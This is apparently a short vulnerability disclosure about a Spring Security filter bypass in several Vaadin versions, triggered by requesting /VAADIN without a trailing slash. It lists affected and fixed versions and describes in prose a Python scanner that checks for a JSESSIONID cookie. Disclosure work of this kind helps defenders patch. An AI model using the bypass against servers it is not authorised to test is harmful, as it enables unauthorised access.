    [+] Summary    : This vulnerability affects multiple versions of Vaadin ( 6.8.13 ,14.x, 23.x, 24.x, and 25.x) when used with Spring Security, due to inconsistent path pattern matching on reserved framework routes.
                     Accessing the /VAADIN endpoint without a trailing slash can bypass security filters, allowing unauthenticated users to trigger framework initialization and create valid sessions without proper authorization. 
    				 
    [+]  It was successfully tested on : 6.8.13			 
    
    [+] This impacts Vaadin versions:
    
    14.0.0 – 14.14.0 → fixed in 14.14.1
    23.0.0 – 23.6.6 → fixed in 23.6.7
    24.0.0 – 24.9.7 → fixed in 24.9.8
    25.0.0 – 25.0.1 → fixed in 25.0.2+
    
    [+] Older unsupported branches (10–13 and 15–22) are also affected and require upgrading to supported releases.
    
    [+] A Python proof-of-concept scanner demonstrates the issue by requesting the /VAADIN endpoint and checking for signs of session creation. 
        If the server returns HTTP 200 along with a JSESSIONID cookie, the application is flagged as potentially vulnerable. 
    	Otherwise, responses like 401 or 302 suggest that authentication protections are still active.
